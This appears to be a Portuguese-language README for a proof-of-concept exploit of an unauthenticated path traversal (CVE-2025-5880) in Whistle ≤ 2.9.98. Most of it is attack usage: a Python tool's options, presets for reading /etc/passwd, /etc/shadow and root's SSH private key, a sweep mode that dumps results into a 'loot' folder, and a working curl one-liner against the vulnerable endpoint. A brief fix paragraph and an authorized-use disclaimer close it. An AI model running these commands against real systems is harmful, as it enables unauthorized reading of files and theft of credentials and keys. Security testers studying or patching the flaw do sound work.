
Exploit de prova de conceito para uma vulnerabilidade de travessia de caminho não autenticada no Whistle v2.9.98.
| Campo | Detalhe |
|---|
| ID CVE | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Software Afetado | Whistle ≤ 2.9.98 |
| Endpoint Afetado | /cgi-bin/sessions/get-temp-file |
| Vetor de Ataque | Rede — nenhuma autenticação necessária |
| Impacto | Leitura arbitrária de arquivos no sistema de arquivos do host |
O parâmetro de consulta filename não é sanitizado antes de ser usado para abrir um arquivo no disco, permitindo que um atacante escape do diretório de arquivos temporários pretendido e leia qualquer arquivo que o processo Whistle tenha permissão para acessar (por exemplo, /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# Sem dependências externas
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| Opção | Descrição |
|---|---|
-u / --url | URL base do alvo (ex.: http://192.168.1.10:8899) |
-f / --file | Caminho de arquivo arbitrário para ler |
--preset | Atalho nomeado: passwd shadow hosts id_rsa … |
--sweep | Percorrer todos os presets automaticamente |
-o / --output | Salvar resultado em um arquivo |
--save-dir | Diretório para despejar os achados do --sweep |
--timeout | Timeout HTTP em segundos (padrão 10) |
# Ler /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Obter a chave privada SSH do root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Ler um caminho arbitrário
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Varrer e salvar todos os presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Atualize o Whistle para uma versão que valide e restrinja o parâmetro filename ao diretório de arquivos temporários pretendido. Aplique normalização de caminho com lista de permissões (ex.: path.resolve + verificação de prefixo) no lado do servidor.
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade pelo uso indevido.